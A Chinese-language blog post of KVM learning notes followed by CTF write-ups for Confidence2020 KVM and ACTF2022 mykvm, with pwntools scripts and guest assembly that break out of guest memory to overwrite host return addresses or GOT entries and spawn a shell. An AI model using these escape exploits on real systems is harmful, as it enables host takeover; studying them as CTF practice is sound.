0%

KVM虚拟化学习&复现ACTF mykvm

KVM虚拟化学习&kvm题目复现

kvm虚拟化学习

对我而言现在学习这个还是比较吃力的,涉及很复杂的一些理论知识,看的云里雾里(多半没看懂),而且资料也不是很多,看了一两天大概看懂了kvm的整个运行过程,虽然学的很浅,但是在这里记录一下。

kvm概述以及使用

kvm是运行在Linux内核中的硬件虚拟化管理模块,用户态的程序可以通过kvm暴露的用户态接口使用硬件虚拟化的功能,我们可以通过规定的API以及数据结构完成CPU虚拟化,内存虚拟化以及IO虚拟化,以此模拟完整的虚拟环境。

先写一段我们想要执行的代码,其中比较重要的是out指令,这个指令就是把al保存的数据发送到dx储存的io端口上去,CPU通常通过读写设备寄存器的方式和设备进行通信,访问设备寄存器的方式一共有两种,一种是内存映射I/O(MMIO),一种是端口映射I/O(PMIO),MMIO是将设备寄存器直接映射到内存空间上并且拥有独立的地址,CPU可以直接通过读写内存指令即可通信,而PMIO给每个设备分配对应的端口号,然后通过专门的端口操作指令(out/in)和设备通信,而0x3f8则是模拟的一个端口号

1
2
3
4
5
mov al, 1
add al,'0'
mov dx, 0x3f8
out dx, al
hlt

然后把这个汇编给编译了再得到二进制数据

1
2
3
4
rootzhang@rootzhang-virtual-machine:~/kvmstudy/test1$ nasm huibian.asm -o huibian
rootzhang@rootzhang-virtual-machine:~/kvmstudy/test1$ hexdump -C huibian
00000000 b0 01 04 30 ba f8 03 ee f4 |...0.....|
00000009

然后把这个shellcode存储到一个数据里

1
2
3
uint8_t code[]={
0xb0,0x01, 0x04, 0x30, 0xba, 0xf8, 0x03, 0xee,0xf4
}

接着真正开始利用kvm的接口来创建虚拟机然后运行这段shellcode.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
#include <err.h>
#include <fcntl.h>
#include <linux/kvm.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/types.h>

int main(){
int ret;
uint8_t code[]={
0xb0,0x01, 0x04, 0x30, 0xba, 0xf8, 0x03, 0xee,0xf4
};
//打开/dev/kvm,获得kvm的句柄
int kvm=open("/dev/kvm",O_RDWR|O_CLOEXEC);
//早起的kvm的API是不稳定的,所以得检查一下版本,如果是
//12那就没问题
ret=ioctl(kvm,KVM_GET_API_VERSION,NULL);
if(ret==-1){
puts("KVM_GET_API_VERSION get fail");
exit(0);
}
if(ret!=12){
puts("KVM_GET_API_VERSION is not 12");
exit(0);
}
//创建一个虚拟机(vm),他代表了一个模拟系统相关的所有内容,包括
//内存和一个或者多个CPU,
int vmfd=ioctl(kvm,KVM_CREATE_VM,(unsigned long)0);
if(vmfd==-1){
puts("KVM_CREATE_VM fail");
exit(0);
}
//为vm配置“物理”内存
void *mem=mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
if(!mem){
puts("mmap mem fail");
exit(0);
}
memcpy(mem,code,sizeof(code));
//这个数据结构规定了客户物理地址和宿主进程的映射关系,是比较重要的
//其中guest_phys_addr指定了从guest看到的"物理"地址,而userspace_addr
//是宿主进程的虚拟地址,可以看出这个是个线性映射,把mem映射到guest的0x1000
//的“物理”地址上,所以mem和guest的0x1000指向到真实物理地址是一模一样的,所以guest修改
//他的内存是可以影响到宿主进程的,这也是逃逸的漏洞点。
struct kvm_userspace_memory_region region={
.slot=0,
.guest_phys_addr=0x1000,
.memory_size=0x1000,
.userspace_addr=(uint64_t)mem,
};
//然后设置vm的内存区域
ret=ioctl(vmfd,KVM_SET_USER_MEMORY_REGION,&region);
if(ret==-1){
puts("KVM_SET_USER_MEMORY_REGION fail");
exit(0);
}
//截至目前已经拥有了vm和他所对应的内存,里面包含了代码,要想执行这段代码还得模拟
//一个虚拟CPU(VCPU),一个虚拟cpu代表了一个模拟CPU的状态,包括处理器寄存器和其他
//执行状态,kvm提供一个vcpu的句柄
int vcpufd=ioctl(vmfd,KVM_CREATE_VCPU,(unsigned long)0);
if(vcpufd==-1){
puts("KVM_CREATE_VCPU fail");
exit(0);
}
//每个vcpu都得关联一个struct kvm_run数据结构,用于在vm和宿主进程(我理解为虚拟机监听器)
//传递有关cpu的信息,特别是当vmexit的时候,kvm_run讲包含有关他停止的信息,可以根据这个
//信息做相应的处理操作
size_t kvm_run_size=ioctl(kvm,KVM_GET_VCPU_MMAP_SIZE,NULL);
if(!kvm_run_size){
puts("KVM_GET_VCPU_MMAP_SIZE fail");
exit(0);
}
//然后将kvm_run和vcpu关联
struct kvm_run *run=mmap(NULL,kvm_run_size,PROT_READ | PROT_WRITE, MAP_SHARED, vcpufd, 0);
//在执行代码之前还需要设置vcpu的寄存器的初始状态,寄存器分为标准寄存器和特殊寄存器,标准
//寄存器指的是通用寄存器以及指针和标志,kvm中采用struct kvm_regs数据结构与其对应,特殊寄存器
//主要包括段寄存器和控制寄存器,kvm中采用struct kvm_sregs数据结构与其对应
//特殊寄存器中,我们只需要设置cs寄存器即可
struct kvm_sregs sregs;
ret=ioctl(vcpufd,KVM_GET_SREGS,&sregs);
if(ret==-1){
puts("KVM_GET_SREGS fail");
exit(0);
}
sregs.cs.base = 0;
sregs.cs.selector = 0;
ret=ioctl(vcpufd,KVM_SET_SREGS,&sregs);
if(ret==-1){
puts("KVM_SET_SREGS fail");
exit(0);
}
//设置标准寄存器,其中比较重要的是rip和rflags寄存器,rip指向
//code存放的地址,rflags指定为2
struct kvm_regs regs=
{
.rip=0x1000,
.rax=1,
.rflags=0x2,

};
ret=ioctl(vcpufd,KVM_SET_REGS,&regs);
if(ret==-1){
puts("KVM_SET_REGS fail");
exit(0);
}
//此时vm拥有了内存和VCPU,我们可以使用KVM_run选项让vcpu来运行自己的
//code了
while (1)
{
ret=ioctl(vcpufd,KVM_RUN,NULL);
if(ret==-1){
puts("KVM_RUN fail");
exit(0);
}
switch (run->exit_reason)
{
case KVM_EXIT_HLT:
puts("KVM_EXIT_HLT hahaha");
return 0;
break;
case KVM_EXIT_IO:
if(
run->io.direction==KVM_EXIT_IO_OUT&&
run->io.size==1&&
run->io.port==0x3f8&&
run->io.count==1
){
putchar(*(( (char *)run)+run->io.data_offset));
}else{
puts("KVM_EXIT_IO fail");
exit(0);
}
break;
default:
break;
}
}
}

结果

1
2
rootzhang@rootzhang-virtual-machine:~/kvmstudy/test1$ ./kvmpwn 
1KVM_EXIT_HLT hahaha

符合预期

验证一下guest被分配的内存是否是宿主进程给他的

1
2
3
4
5
6
7
mov al, 1
add al,'0'
mov dx, 0x3f8
out dx, al
mov al,0x20
mov word [0x1000+0x20],'2'
hlt
1
2
3
4
5
case KVM_EXIT_HLT:
printf("%s\n",((char *)mem)+0x20);
puts("KVM_EXIT_HLT hahaha");
return 0;
break;

结果

1
2
3
rootzhang@rootzhang-virtual-machine:~/kvmstudy/test1$ ./kvmpwn
12
KVM_EXIT_HLT hahaha

符合预期

kvm深入学习

​ 上面只是比较简单的kvm使用方法,guest并没有开虚拟内存映射,直接使用的是他的”物理地址”,所以比较好理解,我找见了conf2020的一道kvm源码,他整了很多花活,我稍微改了改让他能够跑起来,接下来的任务就是搞懂这个源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
#include <err.h>
#include <fcntl.h>
#include <linux/kvm.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/types.h>


/* CR0 bits */
#define CR0_PE 1u
#define CR0_MP (1U << 1)
#define CR0_EM (1U << 2)
#define CR0_TS (1U << 3)
#define CR0_ET (1U << 4)
#define CR0_NE (1U << 5)
#define CR0_WP (1U << 16)
#define CR0_AM (1U << 18)
#define CR0_NW (1U << 29)
#define CR0_CD (1U << 30)
#define CR0_PG (1U << 31)

#define CR4_PAE (1U << 5)

#define EFER_LME (1U << 8) // Long mode enable
#define EFER_LMA (1U << 10) // long mode active




void read_n(int count, void *dst)
{
int to_read = count;
char *dst_ptr = dst;
while (to_read > 0) {
int read_res = read(0, dst_ptr, to_read);
to_read -= read_res;
dst_ptr += read_res;
}
}
void copy_kvm_segment(struct kvm_segment *v1,struct kvm_segment *v2){
v1->base =v2->base;
v1->limit = v2->limit;
v1->selector =v2->selector;
v1->present =v2->present;
v1->type =v2->type; /* Code: execute, read, accessed */
v1->dpl = v2->dpl;
v1->db =v2->db;
v1->s =v2->s; /* Code/data */
v1->l = v2->l;
v1->g =v2->g; /* 4KB granularity */
}

int main()
{
char guest_mem[0x8000];

memset(&guest_mem, 0, 0x8000);
char *aligned_guest_mem = guest_mem + (4096 - (size_t)guest_mem % 4096);

unsigned int code_size = -1;
read_n(sizeof(4), &code_size);
if (code_size > 0x4000) {
puts("\n[init] hold your horses");
return 1;
}

read_n(code_size, aligned_guest_mem);

int kvm_fd = open("/dev/kvm", O_CLOEXEC|O_RDWR);

unsigned int vm_fd = ioctl(kvm_fd, KVM_CREATE_VM, 0);


struct kvm_userspace_memory_region region = {
.slot = 0,
.flags = 0,
.guest_phys_addr = 0,
.memory_size = 0x8000,
.userspace_addr = aligned_guest_mem
};
ioctl(vm_fd, KVM_SET_USER_MEMORY_REGION, &region);


int vcpu_fd = ioctl(vm_fd, KVM_CREATE_VCPU, 0);

int vcpu_mmap_size = ioctl(kvm_fd, KVM_GET_VCPU_MMAP_SIZE, 0);
struct kvm_run *run_mem = mmap(NULL, vcpu_mmap_size, PROT_READ|PROT_WRITE, MAP_SHARED, vcpu_fd, 0);

struct kvm_regs guest_regs;
memset(&guest_regs, 0, sizeof(guest_regs));
guest_regs.rsp = 0xff0;
guest_regs.rflags = 2; // required
ioctl(vcpu_fd, KVM_SET_REGS, &guest_regs);

struct kvm_sregs guest_sregs;
ioctl(vcpu_fd, KVM_GET_SREGS, &guest_sregs);

// Setup paging long mode.
guest_sregs.cr0 = CR0_PE | CR0_MP | CR0_ET | CR0_NE | CR0_WP | CR0_AM | CR0_PG;
guest_sregs.cr4 = CR4_PAE;
guest_sregs.efer = EFER_LMA | EFER_LME;
guest_sregs.cr3 = 0x4000;
*(size_t*)(aligned_guest_mem + 0x4000) = 0x5003; // P4 Table[0]
*(size_t*)(aligned_guest_mem + 0x5000) = 0x6003; // P3 Table[0]
*(size_t*)(aligned_guest_mem + 0x6000) = 0x7003; // P2 Table[0]
*(size_t*)(aligned_guest_mem + 0x7000) = 0x3; // P1 Table[0]
*(size_t*)(aligned_guest_mem + 0x7008) = 0x1003; // P1 Table[1]
*(size_t*)(aligned_guest_mem + 0x7010) = 0x2003; // P1 Table[2]
*(size_t*)(aligned_guest_mem + 0x7018) = 0x3003; // P1 Table[3]
// meaning 0x0, 0x1000, 0x2000, 0x3000 are physical pages


// Setup segments
struct kvm_segment seg = {
.base = 0,
.limit = 0xffffffff,
.selector = 1 << 3,
.present = 1,
.type = 11, /* Code: execute, read, accessed */
.dpl = 0,
.db = 0,
.s = 1, /* Code/data */
.l = 1,
.g = 1, /* 4KB granularity */
};
copy_kvm_segment(&(guest_sregs.cs),&seg);
seg.type = 3; /* Data: read/write, accessed */
seg.selector = 2 << 3;
copy_kvm_segment(&(guest_sregs.ds),&seg);
copy_kvm_segment(&(guest_sregs.es),&seg);
copy_kvm_segment(&(guest_sregs.fs),&seg);
copy_kvm_segment(&(guest_sregs.gs),&seg);
copy_kvm_segment(&(guest_sregs.ss),&seg);
ioctl(vcpu_fd, KVM_SET_SREGS, &guest_sregs);


while (1) {
ioctl(vcpu_fd, KVM_RUN, 0);
if (run_mem->exit_reason == KVM_EXIT_HLT || run_mem->exit_reason == KVM_EXIT_SHUTDOWN)
break;
if (run_mem->exit_reason == KVM_EXIT_IO) {
if (run_mem->io.direction == KVM_EXIT_IO_OUT && run_mem->io.port == 0x3f8) {
printf("%.*s",
run_mem->io.count * run_mem->io.size,
run_mem->request_interrupt_window + run_mem->io.data_offset);
}
}
printf("\n[loop] exit reason: %d\n", run_mem->exit_reason);
}
puts("\n[loop] goodbye!");

return 0;
}

又看了两天的理论知识,终于能完全看懂上面的kvm实例了,主要的难点在于理解vcpu的特殊寄存器的设置上

1
2
3
guest_sregs.cr0 = CR0_PE | CR0_MP | CR0_ET | CR0_NE | CR0_WP | CR0_AM | CR0_PG;
guest_sregs.cr4 = CR4_PAE;
guest_sregs.efer = EFER_LMA | EFER_LME;

他首先设置了cr0寄存器,这个寄存器是控制寄存器,每一位都是一个开关,其中CR0_PE就是开起了保护模式,CR0_PG开启了分页管理模式,相当于开起了MMU地址翻译,后续还会设置页表和cr3寄存器,然后cr4寄存器和efer寄存器的设置都是为了开启64位模式,因为如果开启了保护模式默认是32位的。这块多亏了xxrw学长才理解。膜

image-20220718125951256

然后他设置了cr3寄存器然后初始化了四级页表,理解这块得需要操作系统中虚拟地址到物理地址翻译的知识,前三级页表都只有一个页表项,指向下一级页表,第四级页表的页表项记录的是物理地址,一共有四项,0,1,2,3,所以一共可以翻译4*4k的页面,比如0x0就会落入第四级页表的第0项,最后翻译成物理地址也是0,0x2000就会落入第四级页表的第2项,最后翻译的物理地址是0x2000,所以这个页表翻译了和没翻译差不多。

1
2
3
4
5
6
7
8
9
guest_sregs.cr3 = 0x4000;
*(size_t*)(aligned_guest_mem + 0x4000) = 0x5003; // P4 Table[0]
*(size_t*)(aligned_guest_mem + 0x5000) = 0x6003; // P3 Table[0]
*(size_t*)(aligned_guest_mem + 0x6000) = 0x7003; // P2 Table[0]
*(size_t*)(aligned_guest_mem + 0x7000) = 0x3; // P1 Table[0]
*(size_t*)(aligned_guest_mem + 0x7008) = 0x1003; // P1 Table[1]
*(size_t*)(aligned_guest_mem + 0x7010) = 0x2003; // P1 Table[2]
*(size_t*)(aligned_guest_mem + 0x7018) = 0x3003; // P1 Table[3]
// meaning 0x0, 0x1000, 0x2000, 0x3000 are physical pages

然后就是段寄存器的设置了,使用的是kvm_segment结构体,我的理解这不仅是对cs寄存器的设置,更准确的说是对段描述符的设置,这个kvm_segment就是对段描述符的虚拟,其中base就是段描述符的基址,limit是段描述符的长度,他和g搭配使用当g=1时,段的长度是以4k为单位的,所以段的最大大小就是2^32*4K,如果g=0,段的长度就是以字节为单位的。selector和present不清楚,type就是设置段是什么段,下面的代码表示是代码段,段描述符是保护模式必要的要素。

1
2
3
4
5
6
7
8
9
10
11
12
struct kvm_segment seg = {
.base = 0,
.limit = 0xffffffff,
.selector = 1 << 3,
.present = 1,
.type = 11, /* Code: execute, read, accessed */
.dpl = 0,
.db = 0,
.s = 1, /* Code/data */
.l = 1,
.g = 1, /* 4KB granularity */
};

然后程序就进入虚拟机开始执行指令了,既然看懂了这段代码终于可以正向做题了。

kvm题目复现

Confidence2020 CTF KVM

主要的漏洞点在虚拟vm的内存时候发生了问题,他把host程序的返回地址也映射到guest内存中,导致可以在guest中修改

host进程的返回地址,然后利用hlt指令退出guest返回host进程,然后退出main函数时getshell.

1
2
3
4
5
6
7
8
memset(s, 0, 0x8000uLL);
v14 = &s[4096LL - (((unsigned __int16)&savedregs + 32752) & 0xFFF)];

v25[0] = 0;
v25[1] = 0;
v26 = 0LL;
v27 = 0x8000LL;
v28 = v14;

漏洞利用一共分三步,第一步伪造新的页表项,因为原来页表项只能访问到[00x4000],而返回地址在[0x70000x8000],所以得伪造新的页表,然后修改cr3寄存器,让指令可以访问到返回地址所在的区域.我们选择让cr3=0x1000

1
2
3
4
5
6
mov qword ptr [0x1000],0x2003
mov qword ptr [0x2000],0x3003
mov qword ptr [0x3000], 0x3
mov qword ptr [0x0], 0x7003
mov rax, 0x1000
mov cr3, rax

现在当我们访问0x0地址的时候,就会访问到0x7000的地方,然后开始线性查找,找到返回地址

1
2
3
4
5
6
mov rax, 0x1050
look_for_return:
add rax, 0x8
cmp qword ptr [rax], 0
je look_for_return
add rax, 0x18

此时rax就指向了retrun的返回地址了,然后通过加减预算把他改为ogg

1
2
3
4
mov rcx, qword ptr [rax]
add rcx, 0x249e6
mov qword ptr [rax], rcx
hlt

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from code import interact
from pwn import *
context.arch = 'amd64'
context.log_level='debug'
sh=process("./kvm")
'''
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

'''
shellcode='''
mov qword ptr [0x1000],0x2003
mov qword ptr [0x2000],0x3003
mov qword ptr [0x3000], 0x3
mov qword ptr [0x0], 0x3
mov qword ptr [0x8], 0x7003
mov rax, 0x1000
mov cr3, rax
mov rax, 0x1050
look_for_return:
add rax, 0x8
cmp qword ptr [rax], 0
je look_for_return
add rax, 0x18
mov rcx, qword ptr [rax]
add rcx, 0x249e6
mov qword ptr [rax], rcx
hlt
'''
gdb.attach(sh,'b *(0x555555554000 +{0})'.format(0xFD3))
def exp():
shellcode_len=len(asm(shellcode))

sh.send(p32(shellcode_len))
sh.sendline(asm(shellcode))
sh.interactive()

exp()

有一个问题我目前不能理解,就是给第四级页表第0项设置非0的物理内存,然后翻译的时候guest就会退出,然后kvm爆KVM_EXIT_SHUTDOWN的退出原因,第四级页表第0项对应的虚拟地址就是0x0~0xfff,可能这个地址有啥特殊的吧,不能随便设置。

复现完之后发现也不是很难,但是自己从开始学习到复现用了快一周的时间,我是猪鼻,除了上述做法伪造页表之外,我觉得理论上还存在一种做法,即从保护模式中返回到实模式,就可以不用伪造页表直接进行任意物理地址访问了,但看了一些资料看不懂捏,后面有时间再捣鼓捣鼓。

ACTF2022 mykvm

和上一题类似,都是设置vm的内存时大小设置不合理,导致可以在guest可以越界访存host进程的信息,比如在这道题中guest可以访问到dest地址,然后还对分配给guest的内存不清0,导致可以leak出栈地址和libc地址。这道题一共有两种解法

解法一

kvm进入guest的时候默认是16位实模式的,解法一就是在直接实模式中通过out指令leak出libc地址,然后修改dest指针,使其指向puts_got附近,在退出虚拟机后执行memcpy(dest, *(const void **)&nbytes[1], 0x20uLL);时把got表项改成ogg,然后执行puts("Bye!");来getshell.不过程序使用readline()函数接收数据,所以字符必须是可见字符,这就对ogg地址的输入造成了困难,解决办法是只写got的后三个字节,但是这三个字节也有可能不是可见字符,所以具有一定概率性,我的脚本之所以没有爆破原因是我在本地复现的,而且把aslr关了,我直接选了后三个字符是可见字符的ogg来打的

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from pwn import *
context.arch = 'amd64'
context.log_level='debug'
sh=process("./mykvm")
kvm=ELF("./mykvm")
puts_got=kvm.got["puts"]
'''
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

'''
shellcode=asm('''
.code16
mov bx, 0x3f8
get_libc:
mov al, byte ptr [bx]
out 1,al
add bx, 1
cmp bx,0x400
jne get_libc
mov bx,0x7100
mov byte ptr [bx], 0x0b
mov byte ptr [bx+1], 0x20
mov byte ptr [bx+2], 0x60
hlt
''')

gdb.attach(sh,'b *(0x400000 +{0})'.format(0x1127))
def exp():
sh.recvuntil("your code size: ")
sh.sendline(str(0x1000))
sh.recvuntil("your code: ")
sh.send(shellcode)
sh.recvuntil("guest name: ")
sh.sendline("jingyinghua")
sh.recvuntil("guest passwd: ")
sh.sendline("123123")
sh.recvuntil("123123\n")
sleep(1)
libc_base=u64(sh.recv(8))-0x8149d8
sh.recvuntil("host name: ")
ogg_addr=libc_base+0xf1247
sh.sendline('a'*0x1d+p32(ogg_addr&0xffffff))
sh.interactive()

exp()

在实模式中可以通过段寄存器:[通用寄存器]来达到2^20的寻址,也可以直接通过通用寄存器来寻址比如mov byte ptr [bx], 0x0b,但注意地址不能超过0x10000

解法二

相较于解法就麻烦很多,而且也是爆破,和解法一相比稳定性差不多吧,这种解法就是设置gdt端描述表,然后修改cr0寄存进入保护模式,进入保护模式默认就进入了32位,这样寻址范围就高达4G,就可以直接利用0x60a100里的堆地址,然后然后利用这个指针泄露libc地址,然后修改0x40的fastbin上的第一个堆块的fd为0x602032,这段空间在memcpy_got附近,然后修改dest指针指向的堆块保存’/bin/sh’字符串,在退出虚拟机后就可以利用readline函数申请到这段空间,然后修改memcpy_got后两个字节为do_system地址。最后就是执行memcpy(des)相当于执行了system('/bin/sh'),但是由于readline函数会对字符最后清零\x00,所以得爆破让do_system地址的倒数第三个字节为0才行,这个得爆一会。

交互脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from re import S
from pwn import *
context.arch = 'amd64'
context.log_level='debug'
kvm=ELF("./mykvm")
puts_got=kvm.got["puts"]
# shellcode=asm('''
# hlt
# ''')

while(1):
sh=process("./mykvm")
#gdb.attach(sh,'b *(0x400000 +{0})'.format(0x10EE))
sh.recvuntil("your code size: ")
sh.sendline(str(0x1000))
sh.recvuntil("your code: ")
with open("./exp.bin", "rb") as f:
code = f.read()
sh.send(code)
sh.recvuntil("guest name: ")
sh.sendline("a"*0x28)
sh.recvuntil("guest passwd: ")
sh.sendline("a"*0x50)
sleep(0.1)
libc_base = u64(sh.recvuntil("\x7f")[-6:].ljust(8, '\x00'))-0x3c5540
system_addr=libc_base+0x44e30
if ((system_addr>>0x10)&0xff)==0:
sleep(1)
sh.recvuntil("host name: ")
sh.sendline("b"*0x2e+p16(system_addr&0xffff))
sh.interactive()
sh.close()

汇编代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
cli
lgdt [gdt_descriptor]
mov eax,cr0
or eax,0x1
mov cr0, eax
code:
mov ax, 0x10 ; 将数据段寄存器ds和附加段寄存器es置为0x10
mov ds, ax
mov es, ax
mov fs, ax ; fs和gs寄存器由操作系统使用,这里统一设成0x10
mov gs, ax
mov ax, 0x18 ; 将栈段寄存器ss置为0x18
mov ss, ax
mov ebp, 0x7c00 ; 现在栈顶指向 0x7c00
mov esp, ebp

mov eax, [0x7100]
add eax, 0x1bc8
sub eax, 0x603000
mov ecx, [eax]
mov edx, [eax+4]
mov eax, ecx
get_libc1:
out 1,al
shr eax, 8
cmp eax, 0
jne get_libc1

mov eax, edx
get_libc2:
out 1,al
shr eax, 8
cmp eax, 0
jne get_libc2

chang_fastbin_binsh_to_dest:
mov eax, [0x7100]
add eax, 0x13670
sub eax, 0x603000
mov edx, 0x602032
mov [eax], edx

mov eax, [0x7100]
sub eax, 0x603000
mov edx, 0x6e69622f
mov [eax], edx
mov edx, 0x68732f
mov [eax+4], edx
hlt
gdt_start:
gdt_null:
dd 0
dd 0

gdt_code:
dw 0xffff
dw 0x0
db 0x0
db 10011010b
db 11001111b
db 0x0
gdt_data:
dw 0xffff
dw 0x0
db 0x0
db 10010010b
db 11001111b
db 0

gdt_stack:
dw 0xffff
dw 0x0
db 0x0
db 10010010b
db 01000000b
db 0
gdt_end:

gdt_descriptor:
dw gdt_end-gdt_start-1
dd gdt_start

开启保护模式光设置段描述表gdt还不够,还得设置一些段寄存器,然后kvm一直爆KVM_EXIT_SHUTDOWN